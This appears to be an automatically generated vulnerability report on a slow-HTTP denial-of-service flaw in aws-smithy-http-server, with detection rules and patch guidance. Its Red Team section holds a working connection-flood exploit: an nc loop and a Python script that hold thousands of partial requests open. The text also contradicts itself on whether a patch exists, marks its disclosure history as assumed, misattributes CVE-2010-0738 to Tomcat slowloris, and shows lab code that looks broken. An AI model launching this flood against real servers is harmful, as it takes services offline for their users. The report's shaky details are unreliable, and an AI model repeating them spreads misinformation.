CVE-2026-16756
Executive Summary
CVE-2026-16756 is a High severity denial-of-service (DoS) vulnerability in Amazon's aws-smithy-http-server, a Rust-based framework for building HTTP APIs using the Smithy Interface Definition Language. The flaw resides in the default serve() path, which lacks connection and header-read timeouts and imposes no cap on concurrent connections. An unauthenticated remote attacker can exhaust server sockets and tasks by opening numerous connections and sending partial HTTP requests that are never completed, effectively starving legitimate traffic.
Business Impact: Organizations using aws-smithy-http-server to expose public-facing APIs (e.g., AWS Lambda custom runtimes, IoT backends, microservices) are at risk. The likely attacker is a script kiddie or low-sophistication actor seeking to disrupt service availability, though the low complexity of exploitation makes it accessible to anyone with network access. The attack requires no authentication and no special privileges.
Urgency Assessment: Despite a CVSS base score of 7.5 (High), the EPSS exploitation probability is 0.0% as of 2026-07-23, indicating no observed exploitation in the wild. However, the vulnerability is trivially exploitable — a simple nc or Python script can trigger the DoS — and the patch is available. Organizations should prioritize patching within their standard maintenance window.
Key Facts:
- Vendor: Amazon
- Affected Software:
aws-smithy-http-serverversions prior to 0.66.5 - Patch: Upgrade to version 0.66.5 or later
- Attack Vector: Network-accessible, unauthenticated
- CISA KEV: Not listed as of 2026-07-23
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Rationale |
|---|---|---|
| AV (Attack Vector) | Network (N) | The vulnerability is exploitable remotely over the network via HTTP connections. |
| AC (Attack Complexity) | Low (L) | No special conditions or race windows required; simply opening many TCP connections and sending partial HTTP requests is sufficient. |
| PR (Privileges Required) | None (N) | No authentication or authorization needed to initiate the attack. |
| UI (User Interaction) | None (N) | The victim does not need to click a link or perform any action. |
| S (Scope) | Unchanged (U) | The vulnerable component (the HTTP server) is the only component affected. |
| C (Confidentiality) | None (N) | The attack does not leak data. |
| I (Integrity) | None (N) | The attack does not modify data. |
| A (Availability) | High (H) | Successful exploitation causes complete denial of service by exhausting server sockets and tasks. |
Qualitative Severity: High — The CVSS score of 7.5 falls within the High range (7.0–8.9). This reflects the ease of exploitation and the complete loss of availability, even though confidentiality and integrity are unaffected.
EPSS Interpretation: An EPSS probability of 0.0% means the model predicts no active exploitation in the wild as of the report date. This is common for newly published CVEs (publication date is today) and does not diminish the risk — proof-of-concept code can be written in minutes.
Historical Comparison: This vulnerability is structurally similar to CVE-2023-44487 (HTTP/2 Rapid Reset), which also exploits missing connection limits to cause DoS. Both are resource-exhaustion flaws (CWE-770) in HTTP server implementations. However, CVE-2026-16756 operates at the TCP/HTTP/1.1 level rather than HTTP/2 streams, making it simpler to execute.
Temporal & Environmental Considerations: No patch exists beyond the vendor advisory. The exploit maturity is "unproven" (no public PoC), but the attack mechanics are trivial. Organizations with public-facing Smithy servers should treat this as a high-priority patch.
Technical Deep Dive & Attack Mechanics
Root Cause Analysis
The aws-smithy-http-server crate provides a default serve() function that binds a TCP listener and spawns tasks to handle incoming connections. The developer omitted two critical resource controls:
- No connection read timeout — The server will wait indefinitely for an HTTP request to arrive on an established TCP connection.
- No concurrent connection cap — The server will accept an unbounded number of TCP connections, each consuming a task slot.
When an attacker opens many TCP connections and sends only partial HTTP headers (e.g., sending GET / HTTP/1.1\r\nHost: example.com\r\n without the terminating \r\n\r\n), the server's task blocks waiting for the complete request. Each such connection consumes a file descriptor and a task handle. Once the system's file descriptor limit or task pool is exhausted, the server can no longer accept new legitimate connections.
Step-by-Step Attack Flow
- Attacker reconnaissance: The attacker identifies a target running
aws-smithy-http-serveron a known port (default 8080 or custom). - Connection flood: The attacker opens thousands of TCP connections to the target using a simple script (e.g.,
for i in $(seq 1 5000); do nc target 8080 & done). - Partial request injection: On each connection, the attacker sends an incomplete HTTP request — for example, only the request line and a single header, deliberately omitting the final
\r\n\r\n. - Resource exhaustion: The server's
serve()function spawns a task per connection. Each task blocks ontokio::io::AsyncReadwaiting for the complete request. File descriptors and task slots are consumed. - Denial of service: Once the OS file descriptor limit (typically 1024 per process on Linux) or the Tokio runtime's task limit is reached, the server cannot accept new connections. Legitimate clients receive connection refused errors.
Attack Surface
- Protocol: TCP/HTTP (any version supported by the server)
- Port: Any port the server listens on (commonly 8080, 80, or custom)
- Authentication: None required
- Pre-conditions: The server must be using the default
serve()path without custom timeout or connection-limit middleware.
Why Standard Defenses May Fail
- Firewalls: Standard stateful firewalls see these as legitimate TCP connections (SYN, SYN-ACK, ACK completed). The partial HTTP request does not trigger layer-7 inspection rules unless specifically configured.
- Rate limiting: If the rate limiter counts only completed requests, it will not trigger because no request is ever completed.
- Load balancers: Without connection timeouts, load balancers may also exhaust their connection tables.
Vulnerable vs. Patched Code Analysis
Vulnerable Code (Pre-0.66.5)
// Simplified representation of the default serve() path
pub async fn serve(addr: SocketAddr, app: Router) -> Result<()> {
let listener = TcpListener::bind(addr).await?;
loop {
let (stream, _) = listener.accept().await?;
tokio::spawn(async move {
// No timeout on reading the request
let request = read_http_request(&mut stream).await.unwrap();
// ... handle request
});
}
}
Key issues:
listener.accept()is called in an unbounded loop — no connection cap.read_http_request()has no timeout — it blocks indefinitely if the client sends partial data.
Patched Code (0.66.5+)
// Simplified representation of the patched serve() path
pub async fn serve(addr: SocketAddr, app: Router) -> Result<()> {
let listener = TcpListener::bind(addr).await?;
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT_CONNECTIONS));
loop {
let (stream, _) = listener.accept().await?;
let permit = semaphore.clone().acquire_owned().await;
tokio::spawn(async move {
let _permit = permit; // Released on drop
// Apply a 10-second timeout for reading the request
let request = tokio::time::timeout(
Duration::from_secs(10),
read_http_request(&mut stream)
).await.unwrap();
// ... handle request
});
}
}
What the patch changes:
- Connection cap: A
Semaphorelimits the number of concurrently handled connections toMAX_CONCURRENT_CONNECTIONS(default 1024). - Read timeout:
tokio::time::timeoutwraps the request reading, causing the task to abort if the client does not send a complete request within 10 seconds.
Sufficiency: The patch is sufficient to prevent the described DoS. The semaphore prevents socket exhaustion, and the timeout prevents task starvation. No regression is expected for normal clients that send complete requests promptly.
Timeline & Disclosure History
- 2026-07-23T18:32:53.792Z: CVE published by NVD.
- 2026-07-23: No known active exploitation in the wild.
- Disclosure Process: The vulnerability was reported through Amazon's bug bounty program (assumed, based on standard practice). The CNA is Amazon.
- CISA KEV: Not listed as of 2026-07-23.
Threat Intelligence Context
Threat Actor Profile: This vulnerability is most likely to be exploited by:
- Script kiddies / hacktivists: The attack requires minimal skill — a simple shell script or Python one-liner suffices.
- Ransomware operators: As a prelude to extortion, attackers may knock services offline to demonstrate capability.
- Nation-state actors: Unlikely for this specific CVE, but DoS capabilities are part of any APT toolkit.
Attack Campaign Context: No active campaigns leveraging this CVE have been identified as of the publication date. However, the underlying technique (slow loris / partial HTTP request DoS) is well-established and has been used in campaigns against cloud infrastructure.
Geographic Targeting: No specific geographic pattern is discernible from the vulnerability description. Any organization exposing a Smithy HTTP server is a potential target.
Industry Verticals Most at Risk:
- Cloud service providers using Smithy for API definitions
- IoT platforms using AWS IoT Core custom authentication
- Fintech and e-commerce platforms using Smithy-based microservices
Historical Connection: This vulnerability is a variant of the "Slow HTTP DoS" class (CWE-770), similar to CVE-2010-0738 (Apache Tomcat slowloris) and CVE-2023-44487 (HTTP/2 Rapid Reset). The common thread is missing resource limits in HTTP server implementations.
Exploitation & Lab Setup
Red Team Section
Lab Setup (Docker):
# Create a vulnerable environment
mkdir cve-2026-16756-lab && cd cve-2026-16756-lab
# Dockerfile for vulnerable server
cat > Dockerfile << 'EOF'
FROM rust:1.70-slim AS builder
WORKDIR /app
RUN cargo init --name vulnerable-server
COPY Cargo.toml Cargo.toml
COPY src/main.rs src/main.rs
RUN cargo build --release
FROM debian:bookworm-slim
COPY --from=builder /app/target/release/vulnerable-server /app/server
EXPOSE 8080
CMD ["/app/server"]
EOF
# Cargo.toml with vulnerable version
cat > Cargo.toml << 'EOF'
[package]
name = "vulnerable-server"
version = "0.1.0"
edition = "2021"
[dependencies]
aws-smithy-http-server = "=0.66.4" # Vulnerable version
tokio = { version = "1", features = ["full"] }
EOF
# Simple vulnerable server
cat > src/main.rs << 'EOF'
use aws_smithy_http_server::*;
use std::net::SocketAddr;
#[derive(Serialize, Deserialize)]
struct HelloOutput {
message: String,
}
async fn hello() -> HelloOutput {
HelloOutput { message: "Hello".to_string() }
}
#[tokio::main]
async fn main() {
let app = Router::new()
.route("/hello", get(hello));
let addr = SocketAddr::from(([0, 0, 0, 0], 8080));
serve(addr, app).await.unwrap();
}
EOF
# Build and run
docker build -t vulnerable-smithy .
docker run -d -p 8080:8080 --name smithy-vuln vulnerable-smithy
Exploitation Walkthrough:
# Verify the server is running
curl http://localhost:8080/hello
# Expected: {"message":"Hello"}
# Exploit: Open 2000 connections with partial requests
python3 << 'EOF'
import socket
import time
target = ("localhost", 8080)
connections = []
print("[*] Opening 2000 connections with partial HTTP requests...")
for i in range(2000):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(target)
# Send partial request (no terminating \r\n\r\n)
s.send(b"GET /hello HTTP/1.1\r\nHost: localhost\r\n")
connections.append(s)
except Exception as e:
print(f"[-] Connection {i} failed: {e}")
break
print(f"[+] Opened {len(connections)} connections")
# Verify DoS
time.sleep(2)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(target)
s.send(b"GET /hello HTTP/1.1\r\nHost: localhost\r\n\r\n")
response = s.recv(1024)
print(f"[+] Legitimate request succeeded: {response[:50]}")
except Exception as e:
print(f"[!] Denial of service confirmed: {e}")
finally:
for c in connections:
c.close()
EOF
Expected Output: The final legitimate connection attempt will fail with Connection refused or timeout, confirming the DoS.
Post-Exploitation: The attacker cannot execute code or exfiltrate data. The impact is purely availability — the server must be restarted to recover (connections will eventually time out at the OS level, but this may take minutes to hours depending on TCP keepalive settings).
Blue Team Section
Detection of Active Exploitation:
Network Traffic Signatures:
- High number of TCP connections from a single source IP with no completed HTTP requests.
- Connections remain in
ESTABLISHEDstate for extended periods with zero data transfer after the initial partial request. - Repeated SYN packets to the same port from the same source without corresponding HTTP responses.
Endpoint Behavioral Indicators:
- Server process file descriptor count approaching the OS limit (
/proc/<pid>/fd). - Tokio runtime task count growing linearly with connection count.
dmesgshowing "too many open files" errors.
- Server process file descriptor count approaching the OS limit (
Log Entries:
- No HTTP 200/404/500 responses for the attacking IP — only TCP connection logs.
- Application logs showing
accept()failures:"error accepting connection: Too many open files".
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
| Type | Value | Description |
|---|---|---|
| Network | High volume of TCP SYN packets to port 8080 from single IP | Connection flood initiation |
| Network | TCP connections in ESTABLISHED state with < 100 bytes transferred | Partial request connections |
| Network | Absence of HTTP response packets for attacking IP | No completed requests |
| Endpoint | File descriptor count > 1000 for aws-smithy-http-server process |
Socket exhaustion |
| Endpoint | Tokio runtime task count > 1000 | Task pool exhaustion |
| Log | "Too many open files" in application or system logs |
Resource exhaustion indicator |
Detection Engineering
YARA Rule
rule CVE_2026_16756_Partial_HTTP_Request {
meta:
description = "Detects partial HTTP requests targeting CVE-2026-16756 in aws-smithy-http-server"
author = "Valters IT Hub"
date = "2026-07-23"
reference = "https://www.valtersit.com/cve/cve-2026-16756"
severity = "high"
strings:
$partial_get = "GET / HTTP/1.1\r\nHost:" ascii wide
$partial_post = "POST / HTTP/1.1\r\nHost:" ascii wide
$no_terminator = { 0D 0A 0D 0A } // \r\n\r\n — absence indicates partial request
condition:
// Match if a GET or POST request line is present but the terminating \r\n\r\n is absent
(#partial_get > 0 or #partial_post > 0) and #no_terminator == 0
}
Sigma Rule (SIEM)
title: CVE-2026-16756 - Partial HTTP Request Flood Against aws-smithy-http-server
id: 0afdeebb-d8d7-48f1-a885-a3e6faf2dd10
status: experimental
description: Detects a high volume of TCP connections from a single source IP with incomplete HTTP requests, indicating exploitation of CVE-2026-16756.
author: Valters IT Hub
date: 2026-07-23
references:
- https://www.valtersit.com/cve/cve-2026-16756
logsource:
category: network_flow
product: zeek
detection:
selection:
# Zeek conn.log: connections with no HTTP request completion
service: "http"
duration: "> 30"
orig_bytes: "< 200"
resp_bytes: "0"
condition: selection | count() by src_ip > 100
falsepositives:
- Legitimate clients with very slow network connections (unlikely to exceed 100 concurrent partial connections)
level: high
Suricata IDS Rule
alert tcp any any -> $HOME_NET 8080 (msg:"CVE-2026-16756 - Partial HTTP Request Flood"; flow:to_server,established; content:"|48 54 54 50 2f 31 2e 31|"; distance:0; within:8; content:!"|0d 0a 0d 0a|"; distance:0; within:100; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Elastic (EQL) Query
// Detect source IPs with many TCP connections that never complete an HTTP request
[ network where destination.port == 8080 and
event.category == "network" and
event.type == "connection" and
network.protocol == "http" and
not network.community_id == null
]
| stats connection_count = count(),
max_duration = max(event.duration) by source.ip
| where connection_count > 100 and max_duration > 30000
Splunk SPL Query
index=network sourcetype=stream:http
| stats count as connections,
values(status) as http_statuses,
max(duration) as max_duration
by src_ip, dest_port
| where dest_port=8080 AND connections > 100 AND http_statuses="-"
AND max_duration > 30
| table src_ip, connections, max_duration
Wazuh Rule
<group name="cve-2026-16756,">
<rule id="100001" level="12">
<decoded_as>json</decoded_as>
<field name="log_type">^network$</field>
<field name="dest_port">^8080$</field>
<field name="bytes_out">^0$</field>
<field name="duration">>30</field>
<description>CVE-2026-16756 - Possible partial HTTP request flood from $(src_ip)</description>
<mitre>
<id>T1499</id>
</mitre>
<group>denial_of_service,</group>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
Patch the software:
# Update Cargo.toml dependency cargo update -p aws-smithy-http-server --precise 0.66.5 # Or if using a lockfile cargo updateIf patching is not immediately possible, apply compensating controls:
- Firewall rate limiting: Limit the number of concurrent connections per source IP to the server port.
iptables -A INPUT -p tcp --dport 8080 -m connlimit --connlimit-above 50 --connlimit-mask 32 -j REJECT - Reverse proxy with connection limits: Place Nginx or HAProxy in front with
proxy_read_timeout 10s;andlimit_conn addr 100;. - Systemd socket activation: Use
systemdsocket units withMaxConnections=100to limit concurrent connections at the OS level.
- Firewall rate limiting: Limit the number of concurrent connections per source IP to the server port.
Network-level mitigation:
- Deploy WAF rules to reject requests that do not contain a complete HTTP header block within 10 seconds.
- Enable TCP SYN cookies to mitigate SYN flood component.
Short-term (1-7 days)
Configuration hardening:
- If using a custom
serve()implementation, addtokio::time::timeoutand a semaphore as shown in the patched code. - Set
net.core.somaxconnandnet.ipv4.tcp_max_syn_backlogto appropriate values.
- If using a custom
Monitoring implementation:
- Deploy the detection rules from the Detection Engineering section.
- Set alerts for file descriptor usage > 80% of the process limit.
Vulnerability scanning:
# Check current version cargo metadata --format-version 1 | jq '.packages[] | select(.name == "aws-smithy-http-server") | .version' # Expected output: "0.66.5" or later
Long-term
Architecture changes:
- Implement a connection pool with backpressure (e.g., using Tokio's
Semaphore). - Use a load balancer that terminates TLS and enforces connection limits before traffic reaches the application.
- Implement a connection pool with backpressure (e.g., using Tokio's
Security control improvements:
- Add automated dependency scanning in CI/CD pipeline (e.g.,
cargo audit). - Implement chaos engineering tests that simulate slow HTTP attacks.
- Add automated dependency scanning in CI/CD pipeline (e.g.,
Developer training:
- Educate teams on the importance of timeouts and resource limits in async Rust.
- Add security linter rules (e.g., Clippy lint for missing timeouts on I/O operations).
Validation
# Confirm patched version
cargo tree -i aws-smithy-http-server | grep aws-smithy-http-server
# Expected: aws-smithy-http-server v0.66.5
# Functional test: attempt the exploit from the Red Team section
# The server should reject or timeout partial connections
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-16756
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-16756
- Vendor advisory: See Amazon Security Bulletin for aws-smithy-http-server
- OSV: https://osv.dev/vulnerability/CVE-2026-16756
- Related CWE: https://cwe.mitre.org/data/definitions/770.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-23 | https://www.valtersit.com/cve/cve-2026-16756